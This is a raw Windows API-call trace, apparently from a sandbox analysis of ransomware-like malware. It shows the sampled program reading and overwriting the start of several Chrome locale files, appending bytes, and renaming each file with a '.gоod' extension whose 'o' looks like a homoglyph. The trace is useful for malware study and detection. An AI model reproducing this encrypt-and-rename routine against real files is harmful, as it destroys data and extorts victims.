GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak.gоod", lpFilePart=0x0) returned 0x51 [0105.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0105.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3b38533e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x651bc)) returned 1 [0105.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0105.713] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak.gоod")) returned 1 [0105.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0105.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0105.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), fInfoLevelId=0x0, lpFileInformation=0x3834c58 | out: lpFileInformation=0x3834c58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5196d714, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x425ec)) returned 1 [0105.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0105.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0105.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0105.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.715] GetFileType (hFile=0x6e4) returned 0x1 [0105.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0105.715] GetFileType (hFile=0x6e4) returned 0x1 [0105.715] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0105.715] ReadFile (in: hFile=0x6e4, lpBuffer=0x3835070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3835070*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0105.779] CloseHandle (hObject=0x6e4) returned 1 [0106.116] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0106.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0106.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0106.117] GetFileType (hFile=0x768) returned 0x1 [0106.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0106.117] GetFileType (hFile=0x768) returned 0x1 [0106.117] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x425ec [0106.117] WriteFile (in: hFile=0x768, lpBuffer=0x33da8d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x33da8d8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0106.119] CloseHandle (hObject=0x768) returned 1 [0106.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0106.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0106.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0106.119] GetFileType (hFile=0x768) returned 0x1 [0106.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0106.119] GetFileType (hFile=0x768) returned 0x1 [0106.119] ReadFile (in: hFile=0x768, lpBuffer=0x33dcb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33dcb98*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0106.149] CloseHandle (hObject=0x768) returned 1 [0106.149] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0106.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0106.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0106.149] GetFileType (hFile=0x768) returned 0x1 [0106.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0106.149] GetFileType (hFile=0x768) returned 0x1 [0106.149] WriteFile (in: hFile=0x768, lpBuffer=0x33db8f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33db8f0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0106.150] CloseHandle (hObject=0x768) returned 1 [0106.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x0) returned 0x4c [0106.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak.gоod", lpFilePart=0x0) returned 0x51 [0106.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0106.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3b7b1541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x425fc)) returned 1 [0106.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0106.150] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak.gоod")) returned 1 [0106.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0106.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0106.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), fInfoLevelId=0x0, lpFileInformation=0x345cc90 | out: lpFileInformation=0x345cc90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51992104, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4884a)) returned 1 [0106.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0106.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0106.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0106.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0106.151] GetFileType (hFile=0x768) returned 0x1 [0106.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0106.151] GetFileType (hFile=0x768) returned 0x1 [0106.152] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0106.152] ReadFile (in: hFile=0x768, lpBuffer=0x345d0a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x345d0a8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0107.404] CloseHandle (hObject=0x768) returned 1 [0107.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0107.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0107.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.404] GetFileType (hFile=0x768) returned 0x1 [0107.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0107.404] GetFileType (hFile=0x768) returned 0x1 [0107.404] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4884a [0107.404] WriteFile (in: hFile=0x768, lpBuffer=0x3424df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3424df8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0107.406] CloseHandle (hObject=0x768) returned 1 [0107.406] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0107.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0107.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.406] GetFileType (hFile=0x768) returned 0x1 [0107.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0107.406] GetFileType (hFile=0x768) returned 0x1 [0107.406] ReadFile (in: hFile=0x768, lpBuffer=0x3427248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3427248*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0107.479] CloseHandle (hObject=0x768) returned 1 [0107.479] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0107.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0107.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.479] GetFileType (hFile=0x768) returned 0x1 [0107.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0107.479] GetFileType (hFile=0x768) returned 0x1 [0107.480] WriteFile (in: hFile=0x768, lpBuffer=0x3425fa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3425fa0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0107.480] CloseHandle (hObject=0x768) returned 1 [0107.480] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x0) returned 0x4d [0107.480] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak.gоod", lpFilePart=0x0) returned 0x52 [0107.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0107.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3c45bce0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4885a)) returned 1 [0107.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0107.480] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak.gоod")) returned 1 [0107.481] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0107.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0107.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), fInfoLevelId=0x0, lpFileInformation=0x34a4760 | out: lpFileInformation=0x34a4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519c5554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4b9a5)) returned 1 [0107.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0108.044] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0108.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.044] GetFileType (hFile=0x768) returned 0x1 [0108.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.044] GetFileType (hFile=0x768) returned 0x1 [0108.044] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0108.044] ReadFile (in: hFile=0x768, lpBuffer=0x3473d38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3473d38*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0108.047] CloseHandle (hObject=0x768) returned 1 [0108.048] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0108.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.048] GetFileType (hFile=0x768) returned 0x1 [0108.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.048] GetFileType (hFile=0x768) returned 0x1 [0108.048] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4b9a5 [0108.048] WriteFile (in: hFile=0x768, lpBuffer=0x3474fd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3474fd0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0108.049] CloseHandle (hObject=0x768) returned 1 [0108.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0108.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.050] GetFileType (hFile=0x768) returned 0x1 [0108.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.050] GetFileType (hFile=0x768) returned 0x1 [0108.050] ReadFile (in: hFile=0x768, lpBuffer=0x3477290, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3477290*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0108.087] CloseHandle (hObject=0x768) returned 1 [0108.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0108.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0108.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0108.088] GetFileType (hFile=0x768) returned 0x1 [0108.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0108.088] GetFileType (hFile=0x768) returned 0x1 [0108.088] WriteFile (in: hFile=0x768, lpBuffer=0x3475fe8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3475fe8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0108.088] CloseHandle (hObject=0x768) returned 1 [0108.088] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x0) returned 0x4c [0108.088] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak.gоod", 